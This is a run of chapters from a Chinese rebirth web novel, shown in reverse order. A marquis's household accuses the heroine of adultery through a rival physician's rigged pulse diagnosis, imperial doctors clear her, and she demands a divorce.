陆贯轩毫不犹豫地道:“我自然知晓了。不过是一场误会,有什么好斤斤计较的?今日是什么日子,你当众这般闹,可想过翊安的脸面?” 楚翊安听了陆贯轩的话,心头郁气总算纾解几分。 好在岳父是个明事理的,没有像她那般胡闹。 他冷冷看着陆知苒,只等着看她接下来要如何给自己找台阶下。 陆知苒听了陆贯轩的话,心中升起一股深深的悲凉。 “那父亲可有想过女儿的死活?” 她这副顶撞的态度令陆贯轩震惊又愤怒,“你这是什么话?你嫁进侯府是来享福的,不要为了一丁点小事就要死要活。” 陆知苒冷冷道:“这福便留给旁人去享吧,女儿无福消受!” 陆贯轩恼怒地放话,“你简直放肆,我便把话放在这儿,我绝不同意和离!” 陆知苒也懒得与他费口舌,“父亲同不同意,我都要和离!” 陆家可不是他一家独大,陆家还有族老,那才是她的后手。 圣心难测,圣旨迟迟不到,她只能为自己筹谋。 第42章 我要与你和离 “姐姐,对不起,我不该因为自己的一己之私就蓄意污蔑你!希望你大人大量,原谅我的小人行径!” 陆知苒并不说话。 楚定峰又看向楚翊安,出声喝道:“安儿,你还愣着做什么?道歉!你难道觉得自己没有错吗?” 楚翊安目光紧紧落在陆知苒身上。 方才那样的情形,他会有误会也是情理之中,严格上来说,他并不觉得自己有错。 这女人但凡知趣,就应该主动开口递台阶。 但他的期望落空了,陆知苒只静静地看着他。 楚翊安的拳头暗暗握紧。 大庭广众之下向自己的夫人道歉,他还是头一个! 陆知苒可真是好样的! “对不住,方才,是我误会你了,请你原谅!” 他的语气算不上多么诚恳,反而有点僵硬和高高在上。 陆知苒一眼就看穿了他的想法。 “我不原谅。” 楚翊安瞪大了眼睛,不敢相信她敢当众驳他的面子。 陆知苒铿锵有力地说出下一句话,“我要与你和离。” 这话如同另一道惊雷,狠狠砸在楚翊安的心头,叫他久久回不过神来。 “你,你说什么?” 陆知苒语气坚定地又重复了一遍,“我说,我要与你和离!” 楚定峰的反应比楚翊安更加剧烈,他立马抢话。 “胡闹!婚姻岂是儿戏?” 把她留在侯府,才能一直牢牢捏着这个筹码。 日后她腹中孩子生下来,也能成为侯府获取好处的工具。 若真的和离了,还是在这种情形下和离,侯府半点理都不占不说,还会彻底失去这个筹码,这对侯府来说简直是毁灭性的。 他唤来心腹,低声快速吩咐了一番。 他定要阻拦此事。 陆知苒语气淡淡,“正是因为婚姻并非儿戏,我才要和离。这个家,我是一天都待不下去了。” 楚翊安根本不相信她是真的想和离,她不过是借题发挥,想要讨要更多好处罢了。 因为当着众人的面,楚翊安不得不强压怒火好言相对,“方才之事,的确是我和书宁做得不对,我们已经诚心向你道歉,你不要再无理取闹。” “我没有无理取闹,我现在所说的每一个字都是经过深思熟虑的,在场的每一个人都可以为我作证。” 她的眸光沉静,如一汪湖水,平静无澜。 没有愤怒,没有失望,更没有半分情谊。 这让楚翊安第一次意识到,她可能真的是认真的。 她怎么敢?她难道不知道和离的女子会是怎样的下场和结局吗? 她当众提出和离,更让楚翊安感到了一股深深的羞辱。 就算要和离,也该是自己提出来,什么时候轮到她对自己挑挑拣拣了? 楚翊安咬牙,“就因为方才的一点小事,你就要和离?” 这话连萧宝珠都听不下去了。 “你管方才那事是一点小事?若非有几位太医作证,她身上就要背负通奸的骂名,说不定回头就被你们侯府浸猪笼了!真是巴掌没落在自己身上,半点都不知道疼。” 在场有不少妇人,对萧宝珠的话也生出了惺惺相惜。 男人可以轻飘飘地说这是小事,但这轻飘飘的小事,却能决定她们的生死。 世间对女子便是有这诸多的不公平。 只是,大多数人遭遇了这样的对待之后,也只能忍气吞声。 楚翊安不理会萧宝珠,只看着陆知苒,“方才我和书宁也已经向你道歉,你还要我们如何?” 萧宝珠呵了一声,“你们的道歉值几个钱?真是脸大如盆,太把自己当回事!” 楚翊安忍无可忍,“公主,这是我们的家务事,请您不要一再插手。” “你自己不干人事,还不许我主持正义?” 楚翊安气得几乎原地爆炸,但萧宝珠的身份摆在那儿,他的火气只能一压再压。 陆知苒唇角勾出一抹淡淡的弧度。 这一世,她又帮了自己。 她看向萧宝珠,笑着开口,“公主,多谢你仗义执言,不过,这件事我自己能处理好。” 萧宝珠见她镇定自若的模样,便闭了嘴。 她也想看看,陆知苒究竟能硬气到何种地步。 陆知苒看向楚翊安,面上重新恢复了冰冷淡漠,“你我之间已无任何情分可言,与其继续做一对怨偶,不若一别两宽,各生欢喜。我给你和赵书宁腾了位置,你们也能恩恩爱爱,白头偕老,如此岂不是皆大欢喜?” 赵书宁面上不曾表露分毫,但心底深处却是狠狠心动了。 哪个女人会希望跟别人分享自己的丈夫?哪怕她表现得再从容自信,心底深处依旧抗拒和排斥着这件事。 陆知苒的绝色姿容更让她内心深处一直隐隐不安。 她今日设计了这么一出,便是为了把陆知苒扫地出门。 事情的发展不如人意,但若能促成双方和离,也算殊途同归。 没了那女人,她和翊安之间就再无旁的障碍。 她不禁眼含期待地看着楚翊安,但他的眼神中却只有愤怒,丝毫没有即将甩脱这个女人的兴奋,赵书宁心头发紧。 楚翊安此时的确只有愤怒,那是一种权威被挑战的恼羞成怒。 她就这么迫不及待地想逃离他? 这让楚翊安再次怀疑,她的背后的确藏着个奸夫,只等着与自己和离,她便要投奔自己的奸夫而去。 他很想质问,但当着众人的面,她不会承认,反而还会在众人面前示弱博取好感。 楚翊安不欲与她争辩,只坚决道:“和离并非小事,此事我不同意。” 陆知苒幽幽道:“当初你凯旋之时,不是口口声声说你与赵书宁真心相爱,再容不下旁人吗?现在我主动退让,你却百般推脱,莫非你此前全是口是心非,实际上只想着享那齐人之福?” 楚翊安立马否认,“我对书宁一心一意!” “那你为何不答应和离?” 楚翊安神色一噎,他强自狡辩,“这是两码事。你既进了楚家的门,就是楚家妇。” 陆知苒呵呵冷笑,“若我没记错的话,方才你还口口声声说要休了我。怎么,楚家妇只能被休,没有和离的资格?” 第41章 聪明反被聪明误 不是滑脉。 陆知苒没有怀孕。 赵书宁的脸色瞬间变得惨白,楚翊安和姜氏则是满脸不可置信。 他们已经给陆知苒定了罪名,现在事情却有了反转,陆知苒竟是清白的,这简直是在狠狠打他们的脸。 萧宝珠比陆知苒这个当事人更加激动,“现在你没话说了吧,庸医!” 她故意狠狠咬重了后面两个字,赵书宁的脸涨得通红。 她不甘心! 她明明计划得这般完美,怎么会出变故? 她抬眸看向陆知苒,就对上了对方淡然含笑的目光。 这一瞬间,赵书宁心头浮出一个不愿承认的猜测。 她死死盯着陆知苒,“我再为你诊一次脉!” 她要验证自己先前的猜测。 她不愿相信自己竟然一直被这个女人玩弄于股掌之间。 陆知苒十分从容地伸出手,“请。” 赵书宁上前搭脉,几息之后,她的脸色染上一抹灰败。 “你,你怎么会……” 她不敢继续往下说,不然就是不打自招。 陆知苒幽幽吐出一句话,“这世上不是只有你一个聪明人。” 她自以为聪明绝顶,能轻易掌控别人的生死,今日就好好地给她上一课,叫她知道什么叫聪明反被聪明误! 赵书宁身子狠狠一晃,险些摔倒。 楚翊安立马伸手搀扶,触到她的手,便发觉她的手心满是冷汗,一片冰凉。 楚翊安听不明白她们二人方才的对话,却隐隐察觉到了不对劲。 他压低声音,“你耍了什么把戏?” “这话你不妨问问赵书宁。” 楚翊安语气笃定,“她不会拿自己好不容易积攒的威望开玩笑,定是你做了什么误导了她。” 陆知苒似笑非笑地看着赵书宁,“我可以当众揭开真相,只是不知,赵书宁你敢不敢?” 赵书宁心头一紧。 若真相揭开,自己给陆知苒下毒之事就会公之于众,世人会如何看她?楚翊安又会如何看她? 最重要的是,自己有了这般给人下毒的先例,宫中的娘娘谁还敢信任她,重用她?便是京中那些贵妇也不会再想着找自己看病,她的前程就彻底毁了。 若此事就此揭过,她顶多就是担一个嫉妒正妻的罪名。 名声固然也不好听,但嫉妒乃人之常情,再怎样也能弥补一二。 该如何选,已经再清楚不过。 这一局,她惨败。 赵书宁握住楚翊安的手,声音紧绷,“翊安,算了,不要再深究了,一切便由我来承担便是。” 陆知苒笑了,“别把自己伪装成受害者的模样,这件事的真相如何你最清楚不过。若能将我置于死地,你绝不会就此罢手,你现在这般好说话,是因为你自己做了亏心事,不敢再继续纠缠罢了。” 赵书宁一噎,脸上飞快闪过一抹心虚。 楚翊安本不相信,但瞥见赵书宁的这番反应,所有的话都咽了回去,原本的好心情早已荡然无存。 她们两人,到底背着自己做了什么?他有种被蒙在鼓里的憋屈感。 陆知苒之所以没有当众揭穿赵书宁下药之事,并非是仁慈,而是她也没有十足的证据将这件事扣在赵书宁的头上。 真正对质起来,她未必会占上风,反而容易被对方反咬一口。 但她不会暴露自己的底牌,她要让赵书宁以为自己已然掌握了一切。 萧宝珠看他们在那嘀嘀咕咕,顿时不耐烦。 “赵医女,你诊好脉没有?这回诊出来的是什么脉啊?” 赵书宁再次被逼得不得不直面这个问题。 “是浮脉,并非滑脉,先前,是我诊错了!” 这话,算是直接把她死死钉在了耻辱柱上。 至此,她苦心经营的好医术,好名声,全都毁了。 萧宝珠听了这话,总算是出了一口恶气。 “先前那般信誓旦旦,我还以为你有多能耐呢,没想到也不过如此!” 赵书宁低着头,一个字都说不出来。 蒋老太医背着手,目光审视地看着她,“如此简单的脉象,你不可能诊不出来。只能说,你心有偏颇,行事就失了医者的本心。没有医德,比没有医术更加可怕。侯府竟然接纳这样一个女子为平妻……以后,这侯府我不会再来了。” 说完,转身失望离去。 赵书宁似被人轮番扇着耳光,脸上一阵火辣辣的烧得慌。 偏偏她无法反驳。 她必须承认自己的私心,不然,她就得承认自己医术不精。 她有私心还能找补,若她被扣上庸医的名头,就再无翻身的可能了。 她的沉默,便是默认了蒋老太医的话,承认了自己的卑劣与自私。 这一刻,她这个新娘成了一个笑话,连带着,让选择了她的楚翊安也成了一个笑话。 不受控制的,楚翊安对赵书宁也生出了迁怒与怨怪。 但现在,说什么都已经晚了。 姜氏也没料到事情会发生这样大的转折,整个人都彻底懵了。 楚定峰算是他们中情绪最稳定之人。 他很快就收拾好心情,开口控场。 “这件事归根结底都是侯府的家务事,我们没有把家务事处理好,让大家看笑话了。今日耽搁了大家这般多时间,实在是抱歉,侯府里已经备好了席面,还请诸位移步府内稍作休息,也给侯府一个向大家赔罪的机会。” 至于拜堂行礼之事,他没有再提。 现在想想,当初就不该补办这场喜宴,不然也不会有这么多糟心事。 萧宝珠一边嗑着瓜子一边道:“我们在这儿坐得挺好的,不必急着进去。” 楚定峰僵笑,“让诸位坐在门口,实在是不成体统。” “这场戏还没结束呢,陆大小姐受了这般大的委屈,差点被扣上不贞的帽子,就这么算了?始作俑者连一句道歉都没有?” 以往萧宝珠倒也没有这么热心肠,但谁叫这一家子行事这般气人呢? 楚定峰微顿了片刻,立马道:“此事自然要给出一个交代。赵氏,今日之事是你做得不对,快道歉。” 赵书宁心中即便是再不愿意,也只能低下了自己高傲的头。 第40章 踢到铁板了 楚定峰继续和稀泥,“今日大家都是登门来喝喜酒的,却因侯府的家务事让大家平白在此吹冷风,实在是招待不周,咱们先里边请,仪式继续,旁的事容后再说。” 他这是打算直接把这事揭过去。 若是继续对质下去,不论是什么结果,对侯府都没有好处。 陆知苒淡淡开口,“父亲,此事关涉到我的清誉和名声,若不当面解释清楚,我日后还怎么抬头做人?” 楚定峰微恼。 自己都主动递了台阶,她竟然还不依不饶上了,难道就不怕有孕之事兜不住? 萧宝珠也跟着道:“此事必须弄清楚,我家阿笙的名声也是名声!” 楚定峰看了看天色,一副十分为难的模样。 “此时去宫中请御医来回需得一个多时辰,只怕吉时都过了,就当给本侯一个薄面,诸位先入内观礼吃席,此事容后再议。” 萧宝珠大手一挥,“就在这里拜堂,我们都看着呢。再让人搬桌椅,上茶水点心,我们在这站了老半天,早就又渴又饿了。” 楚定峰:…… 即便这个要求很荒唐,侯府也不得不照做了。 所以,宣平侯府门前就出现了一副别开生面的画面,众宾客都里三层外三层地坐在门口,手里抱着暖炉,嘴里吃着点心,嗑着瓜子,喝着茶水,一个个伸长了脖子看着府门口站着的一家子…… 拜堂是不可能拜堂的,这辈子,他们都不想再拜堂了。 所幸没有等太久,今日蒋老太医刚好在宫外医馆坐诊,不消一刻钟就被人请来了。 阿笙悄无声息地退到了萧宝珠身后,低垂着头,重新变成毫不起眼的小丫鬟。 侯府对蒋老太医再熟悉不过,这三年,陆知苒便一直花重金请蒋老太医为姜氏治疗头疾,调理身体,他的医术如何不用多言。 但侯府不知道的是,当初,蒋家药房遭遇了一次药材保管不当的失误,导致药材短缺,险些毁了声誉,是陆知苒出手,将自己的药材卖给对方应急,这才避免了后果。 而后,陆知苒又诚心登门,以重金求了蒋老太医为姜氏诊治,他这才答应。 若不然,凭借宣平侯府的地位,要他亲自出面,还不够格。 这三年,蒋老太医与陆知苒颇多交道,对其为人品性也堪称了解。 他得知发生了何事,气得吹胡子瞪眼。 他不相信一个愿意为了婆婆的病那般费心费力的人,竟会做出如此不忠之举。 陆知苒朝蒋老太医俯身一礼,“蒋老太医,您近来可好?” 蒋老太医看她的眼神充满了怜惜,“好,好,我一切都好,反倒是你,为了这一家子人掏心掏肺,最后却换来这样的结果,实在是令人心寒!” 陆知苒听得蒋老太医这番话,心头涌起一股涩意。 连一个外人都愿意相信她,对她表达关切,可自己视为亲人之人,却将她的付出视作理所当然,将她的人格和尊严狠狠踩在脚底。 陆知苒压下眼底酸涩,朝他笑了笑,“经此一事,我已看清了,我只想清清白白地离开,劳烦蒋老太医了。” 蒋老太医一手捋须,一手给她问脉,只不过几息时间他便有了结果。 “谁说你有身孕了?简直一派胡言!你这分明是浮脉,乃是肾气虚浮,气血不足的表现,你合该好好休养了,不然一有个风吹草动,你就要病倒。” 蒋老太医这番话说得铿锵有力,更是十足笃定,人群中不禁发出一阵骚动,各异的目光都落在了赵书宁的身上。 萧宝珠扬起下巴,鄙夷地看向赵书宁,“你还有什么话好说?” 赵书宁袖中的拳头立马握紧,强自镇定,“我依旧坚持我的判断。” 萧宝珠都要气笑了,“你连蒋老太医的医术都不信?你可真是狂妄自大。” 赵书宁辩解,“我并非不信任蒋老太医的医术,只是,据我所知,陆知苒与蒋老太医颇有旧交……” 赵书宁这话的意思再明显不过。 蒋老太医和陆知苒有私交,所以,不排除蒋老太医故意说假话维护陆知苒名声的可能。 这话简直戳到蒋老太医的逆鳞了,他气得伸手指着赵书宁,手指都在颤抖。 “你,你……便是先帝和今上也不曾质疑过老夫的医术和人品,今日竟被你这么个无知小辈指着鼻子骂,你算个什么东西?” 赵书宁被骂得脸色难看,但她却不认为自己的话有什么问题,蒋老太医反应如此激烈,定是被自己戳中了心思,恼羞成怒了。 “我这话或许冒犯到了蒋老太医,但也是实情,在如此重大的是非面前,为了确保结果的公正性,合该避嫌才是。” 萧宝珠立马反唇相讥,“既如此,你也没资格说话,谁知道你会不会存了见不得人的私心,故意污蔑旁人清白?” 赵书宁被这话噎住,一时哑口。 就在这时,人群中不知名的大嗓门再次响起,“梁太医,郑太医和廖太医到!” 他们怎么会来得这般快? 赵书宁的面色微紧,心中那股不安越发强烈。 萧宝珠:“现在无需再争了,请三位太医为陆大小姐号一号脉,自然就能见分晓。” 她对陆知苒的称呼,已经从楚少夫人变成了陆大小姐。 这个称呼的确更让她感到舒适。 楚定峰眼神微眯,眸底藏着诸多思量。 今日这一出戏可谓轰动,一下召唤来了各方神仙。 他们宣平侯府有这么大的脸面?楚定峰可不会这般没有自知之明。 这说明什么?说明此事早已惊动了上头那位,他这是要保全陆知苒的名声! 不论来了多少位太医,最后诊出的,都不可能是滑脉。 这一次,赵书宁算是踢到铁板上了。 宣平侯府与赵书宁是同一条船上的,她跌了跟头,侯府也会受到牵连。 侯府好不容易打开的大好局面,将会被彻底打回原形! 楚定峰心头发沉,脑中飞快思考着接下来该如何破局。 果然,三位御医依次给陆知苒诊脉之后,都给出了与蒋老太医一模一样的诊断结果。 第39章 并未有孕 来时张继元已经知道发生了何事,眼中满是小心翼翼的忐忑。 陆知苒语气淡淡,“张大夫,你就如常诊脉,待会儿诊出什么结果便如实说,不必有什么顾忌。” 张继元连忙点头,只是心中依旧不安。 小心翼翼的伸手搭在陆知苒的手腕上,凝神细细地诊断,他的眉头微蹙。 紧接着,他又换了另一只手,又是如此一番斟酌半晌,才道:“少夫人脉象沉而无力,肾气虚浮,乃邪气入体所致,应好生调养,滋养肾气。” 赵书宁听完他这话,“噗嗤”一声笑了。 “你就诊出了这么个结果?” 张继元一脸正色,“老夫从医的年头比你年纪都大,不会连这么简单的脉象都诊错。” 楚翊安也不相信,“你没有诊出滑脉?” 张继元断然否认,“少夫人并未有孕,何来滑脉?” 众人再次发出嗡嗡的议论声。 两个人,竟然诊出了截然不同的结果,此事越发有看点了。 赵书宁语气嘲讽,“你便是为了帮她遮掩,也不能这么昧着良心说假话。” 张继元激动得吹胡子瞪眼,“我说的都是实话,少夫人的脉象压根就不是滑脉。连滑脉和浮脉都能诊错,你才应该回去好好研读一番医书!” 赵书宁冷笑,“不是胡子越长,医术就越好,我的医术能得皇上亲口赞誉,你做得到吗?” 张继元气得满脸涨红,“那你便应当好好提升一番医德!如此信口胡说,败坏他人声誉,简直不堪为医!” 陆知苒冷静开口,“既然你们二人诊断出的结果截然不同,那便再请其他人来继续诊脉,究竟谁对谁错,自然很快就能见分晓。” 这时,一道声音传来。 “我这里有个大夫。” 说话之人赫然是萧宝珠。 她走了过来,把自己身侧那皮肤黝黑的丫鬟往前一推,“她是我的丫鬟阿笙,医术非常不错,就让她来给少夫人诊一诊脉吧。” 她嘴上说的是提议,但语气却带着股不容置疑。 大家都看向那位名唤阿笙的丫鬟,眼里写满了怀疑。 这位公主在京中的名声可不大好,平日里就喜欢捉弄刁难旁人。 此时她横插一脚,大家都有些摸不清她的意图。 阿笙在众人面前抬起了头,她肤色黑,五官更是平平无奇,丢进人群中绝对寻不到的那种平凡。 赵书宁的眉头蹙了起来。 就她这样的,能精通医术? 但这是萧宝珠力荐之人,宣平侯府无人敢拒绝。 阿笙一双眼睛格外清亮,她抬眸朝陆知苒看来,目光如同黑曜石一般带着灼灼的光。 陆知苒大方地伸出手,阿笙搭了上去。 那是一双修长匀称的手,并不白皙,也不细腻,指腹间隐隐带着老茧的粗粝感,指甲缝隙间还有一些黄褐色的残留。 那是药材的残渣。 搭上脉的瞬间,她整个人的气质就变了,原本的黯淡褪去,周身都似渡上了一层令人信服的光辉。 几息之后,阿笙收回了手。 她看着陆知苒,“少夫人,可否方便让我看看您的舌苔?” 陆知苒眸光微动,最后点了点头。 翠芙和丹烟抬起袖子,遮挡住旁人视线,陆知苒这才张嘴,阿笙稍稍凑近,陆知苒嗅到了她的身上那股淡淡的药香。 她果然如前世那般,是个只喜欢与药材打交道的医痴。 阿笙很快结束了问诊。 萧宝珠迫不及待地问,“怎么样?是不是滑脉?” 所有人都看着阿笙,大家也都在等这个答案。 阿笙十分坚定地摇头,“不是,这位夫人并未有孕。” 赵书宁脸色骤然一沉,“真是庸医!” 这话萧宝珠就不爱听了,“你这话是什么意思?敢质疑本公主的人?” 赵书宁神色一顿,在萧宝珠面前她到底不敢太过放肆。 缓了语调,“我不是这个意思,我们只是在这个脉案上存在分歧罢了。” 萧宝珠横眉冷对,“既然存在分歧,你凭什么就认定你的是对的,阿笙的是错的?还有这位……” 张继元忙道:“小人姓张。” “这位张大夫,也与阿笙的诊断一样。要算起来也是二对一,输的人是你才对。难道旁人都是庸医,就你一个惊才绝艳,医术超群?” 萧宝珠气势咄咄逼人,赵书宁被她怼得面色涨红。 楚翊安自然看不得自己心爱之人被这般欺负,更何况,他心里也更相信赵书宁的判断。 “公主,此事乃是我们的家务事,还请交由我们自行裁夺。” 萧宝珠态度嚣张,“若本公主硬要插手呢?” 楚翊安额角突突地跳,他强压住心头怒火, “公主身份金贵,我自然不敢冒犯。但是非曲直早已成定数,不会因为谁的身份更尊贵就为此改变。” 萧宝珠头一回遇到敢当面与她叫板的,她周身的杀气都燃烧了起来。 阿笙眸光沉静地看向赵书宁,“诸位信不过我的医术,去宫里请御医来便是。只是不知,赵医女敢不敢?” 赵书宁手心莫名渗出了一丝冷汗,心底也生出一股微微的不安感。 但事已至此,她已经没了退路,更不相信陆知苒能破得了自己的局。 她挺直了腰杆,一副无所畏惧的神色。 “我对自己的医术有信心,有什么不敢的?” 萧宝珠依旧觉得心口堵了一团郁气,无处纾解。 她恨恨咬牙,“若是阿笙诊错了,我立马当场向你磕头道歉!若是你诊错了,我定第一个向父皇告状,让他罢了你这女医的头衔!” 楚定峰眉心一跳,连忙站出来打圆场,“公主言重了,这都是一场误会,误会。赵氏,你还不快给公主赔礼认错!” 他朝赵书宁投去一记眼刀子。 她在京中尚未站稳脚跟就敢得罪这位公主,真是太不知轻重。 赵书宁也不希望得罪这位娇蛮跋扈的公主,即便心中再憋屈,她也只能低这个头。 萧宝珠却不买她这个账,“不必假惺惺地赔礼认错,本公主的话已经放出去了,就没有收回的道理。只看最后结果吧。” 第38章 给她一封休书 忆起前世种种,陆知苒心头不禁翻涌起一股汹涌的愤怒与恨意。 前世,她的人生,便是被他们毁了。 这辈子,赵书宁提早对她用了这药。 赵书宁以为一切神不知鬼不觉,殊不知,她重生了。 她不仅能辨认出这种药的味道,更知道破解之法。 而这一切,还是前世赵书宁在她死前为了气她,亲口告诉她的。 她想在大庭广众之下害自己身败名裂,自己就要反过来,送她一顶庸医的大帽子,叫她好不容易积攒来的一点声望彻底毁掉! 陆知苒垂下了眼睑,掩去眸底的一片冷意。 赵书宁的手搭上她的脉搏,认真地号了片刻,然后似被吓到了似的,接连后退了几步。 姜氏第一个追问,“怎么样?是不是滑脉?” 赵书宁神色古怪,一副欲言又止的模样。 “还是等那位大夫来诊脉之后再说吧。” 她这般神色与反应,落在众人的眼里,俨然已经有了答案。 楚翊安心中原本就有怀疑,见此胸中的怒火再次燃烧了起来。 “你不必有所顾忌,是什么结果便说什么结果。” 赵书宁依旧支支吾吾,不肯直说。 陆知苒冷冷道:“你有话就直说,何必故作这番姿态?” 赵书宁深深地看着她,“我有意为你留体面,你却不领情,那就不要怪我了。” 她看向楚翊安,给出了一个十分肯定的答案,“她的脉象,确是滑脉无疑,她已有了一月有余的身孕。” 人群再次一阵哗然。 楚翊安回京至今都不超过一个月,她的身孕却已然一月有余,她腹中的孩子绝不可能是楚翊安的。 楚翊安双眸喷火,“贱人!你还有什么可说的?” 翠芙和丹烟将陆知苒朝后护了护,唯恐他直接动手。 陆知苒面上笼着一层寒霜,目光无比坚定,不避不让。 “我行得端坐得正,从未有过半点对不起你的地方,绝不可能平白冒出一个孩子来。” “难道书宁还能冤枉你不成?” 姜氏也加入了这场讨伐,“书宁不可能连最简单的滑脉都诊错!陆氏,亏得我以前还觉得你是个安分守己的,没曾想,你竟做了这般不知廉耻之事!我楚家断然容不下你这样的荡妇!安儿,你现在便给她一封休书!” 姜氏语气恶狠狠的,彻底将方才在陆知苒手底下受的憋屈之气发泄了出来。 她不仅要休了陆知苒,更要将她的所有嫁妆都尽数没收! 楚定峰再次阻拦,“胡闹,婚姻是结两姓之好,岂能这般儿戏?此事容后再议!” 姜氏见他一再维护陆知苒,心中气结。 “侯爷,她都做出如此不知廉耻之事,侯府岂能容她?” 楚翊安亦是冷声开口,“如此不守妇道的荡妇,的确不堪为侯府主母,今日是我和书宁大好的日子,我便姑且容她一日。明日,我便会给她一封休书!” 楚定峰还想继续周旋,就听陆知苒开了口。 “你们便是不提,这侯府我也不打算继续待下去。但是,却不是你休了我,而是我主动和离。我自进门起便兢兢业业,侍奉公婆,打理庶务,从未有半分错处,今日,我更不会承担这莫须有的污名!” 她神色冷傲,这番话说得掷地有声,半点不见心虚之态,却戳到了楚翊安的肺管子,更是践踏了他身为男人的自尊心。 “你果然早有异心,现在这般正义凛然地倒打一耙,是迫不及待地要去投奔奸夫?” 陆知苒觉得恶心到了极致。 “不必多言,等其他大夫来诊脉便是。” 赵书宁语气笃定地开口,“便是等十个八个大夫来复诊,也只会是一样的结果。” 陆知苒呵呵笑了两声,“连最简单的滑脉都能诊错,我不知你究竟哪里来的勇气?莫非你此前所谓的功劳和名声都是浪得虚名?” 赵书宁似是受到了极大的冒犯。 “我究竟是不是浪得虚名,西平的将士们知道,百姓们更知道,皇上也都看在眼里,还轮不到你来质疑。” 两人针锋相对,一股浓浓的火药味弥漫开来。 大户人家,谁还没点阴私事?但谁也不会把这些摆在台面上。 如今日这般撕破了脸公开叫板的,还是头一回。 究竟谁在说谎? 众人简直抓心挠肝地好奇。 萧宝珠侧头对身边的丫鬟发问,“你说,谁在说谎?” 那丫鬟回答得言简意赅,“不知道。” “你猜嘛。” “不知道。” 萧宝珠叹息,“跟你说话真是无聊死了。” 赵书宁语气笃定,还带上了一股高高在上的鄙薄,“你现在可以嘴硬,但事实就是事实,不是你嘴硬就能改变的。” 陆知苒似笑非笑地看着她,“你说得没错,事实就是事实,不会因为某些人的阴诡手段就颠倒黑白。” 赵书宁微微一顿,心口也漏跳了一拍。 难道陆知苒察觉了什么? 不可能,她根本不通医术,不可能察觉异常。 就算她真的察觉到了,也不会知道那是什么药,更不可能找到破解之法。 待会儿其他大夫来诊脉后,也必然会得出与自己一样的结论。 今日之后,她再证明自己没有怀孕,也无人会信。 楚翊安嫌恶地看着陆知苒,“我倒是要看看,待会儿你要如何嘴硬!” 双方都不再多说,只静静等待。 本是一场喜宴,但此时大家都忘了这一茬,所有人伸长了脖子,只想看戏。 这般精彩的连环戏,谁不爱看?这可比茶楼说书先生说的精彩多了。 翠芙和丹烟都紧挨着陆知苒,两个丫鬟都面色紧张,心中忐忑难安。 她们都知道小姐的整个计划,但这计划中途要是有半点闪失差错,自家小姐就会万劫不复,那后果,是她们无法承受的。 跟她们的紧张相比,陆知苒则是镇定自若。 她知道,她不会输,她也绝对不能输。 杏林草堂的坐堂大夫张继元匆匆赶来,他顾不上擦汗,就被楚翊安催促,“赶紧给她诊脉!” 语言间满是嫌恶与不耐烦。 第37章 竟怀了身孕 赵书宁朝陆知苒走了两步,眼神比今日的气温更冷上三分。 “你的计谋得逞了,你应当很得意吧。” 陆知苒不动声色地看了她一眼,鼻尖嗅到一股若有若无的熟悉味道。 “早就料到的结果,没什么好得意的。” 楚翊安脸上也笼上寒霜,“果然是你做的!我当初就不该让你出来!” 陆知苒懒得与他多费一丝口舌。 就在众人往里走时,丹烟发出一声惊呼,“小姐,您怎么了?” 陆知苒身子微晃,似站立不稳,旋即便俯身开始干呕起来。 这番变故叫众人有些错愕。 楚翊安蹙眉看着她,眼里只有冷意,没有半丝温度。 这女人又在玩什么把戏? 陆知苒忍着反胃,虚弱开口,“我没事,就是胃里有些不适。” 话刚说完,一股更强烈的反胃涌上来,她再次俯身干呕,好半晌都没能直起身来。 众人看着她这番表现,心中不禁生出诸多联想与猜测。 赵书宁开口,语带关切。 “姐姐这是怎么了?不若让我给你瞧一瞧。” 听得她这做作的称呼,陆知苒更恶心了。 “不必,我没事。” 姜氏目光紧紧盯着她,看着她那苍白的面色,又缓缓下移,落在她平坦的小腹上,心中升腾起一个骇然的猜测。 一瞬间,姜氏的胸中点燃了一把火,方才被陆知苒算计的愤怒彻底烧了起来,直烧得她双目赤红。 她为何不敢让赵书宁诊脉,她定是心虚! “你吐得这般厉害,还是让书宁替你看看吧。” 陆知苒脸上露出满满的戒备与抗拒,“不必了。” 她越是如此,姜氏就越是认定她心里有鬼。 赵书宁幽幽叹气,“姐姐对我心有芥蒂,不愿意让我诊治也是情理之中,我便不强人所难了。” 楚翊安心头冒火,“书宁一片好意,你却不领情,实在是不知好歹!” 这时,人群中不知谁说了句,“少夫人该不会是怀了身孕吧?” 这话钻入楚翊安的耳里,他顿时如遭雷击。 先是被陆知苒搅合了拜堂,再是被她狠狠的给了侯府难堪,楚翊安本就憋了一肚子火,此刻听到这话,早就忘却了之前自己为什么不想休掉陆知苒了,只恨不得直接将她浸猪笼! 他高声道:“我与她尚未圆房,她的身孕从何而来?” 赵书宁状似震惊地看向陆知苒。 “你,你竟……” 她磕磕绊绊,说不下去,但大家都懂她的未尽之意。 姜氏好不容易可以掰回一局,“家门不幸,实在是家门不幸啊!” 楚翊安胸口上下起伏,一双眸子似刀子一般狠狠刮在陆知苒身上。 “你最好给我解释清楚,你腹中的野种究竟是谁的?” 陆知苒一直干呕,根本说不出话来。 楚定峰的脸上晦暗不明,一个大胆的念头闪过。 若他的猜测没错,他们就必须得留下陆氏肚子里的孩子。 那孩子既是侯府的耻辱,也会为侯府带来机遇。 他立马开口,“安儿,今日是你和赵氏大喜之日,旁事过后再处理。” 这话便是承认了陆知苒有孕,只是暂时压下罢了。 楚翊安双目赤红如同暴怒的野兽,“她做出如此败坏门风之事,我如何能咽的下这口气?她今日必须给出一个交代!” 所有人都看着陆知苒,只等她的回答。 本以为只是一场平平无奇的宴席,谁能想到这好戏是一出接一出,简直令人目不暇接。 好半晌,陆知苒才终于缓了过来。 因为剧烈干呕,她的脸上浮出一抹似潮热微醺的红润,艳若桃李,勾人摄魄。 这一切,落在楚翊安眼中就成了一种放荡与罪过。 她便是靠着这张脸,去勾搭男人? 自己不在的这三年,她是不是从来没闲过? 越想,胸中怒火便烧得越旺。 陆知苒冷冷地看着他,“就因我呕吐了几声,就断定我怀了身孕?原来给人扣罪名如此简单,只需要动一动嘴皮子就行了。” 楚翊安根本不信她的解释,“若你不心虚,为何不肯让书宁为你诊脉?” 陆知苒好笑地看着他,“我与赵书宁是什么关系?我为什么要让她给我诊脉?说句不好听的,她若是故意污蔑我,我便是跳进黄河也洗不清。” 楚翊安怒不可遏,“书宁怎么可能做这样的事?你简直是小人之心!” 陆知苒冷冷看着对方,“那可未必。” 双方这番态度,俨然是彻底撕破了脸。 原本他们见陆知苒一副没事人的样子出席喜宴,还以为她有容人之量,大方接纳了赵书宁这个姐妹。 现在看来,这位也是个不肯吃亏的主儿。 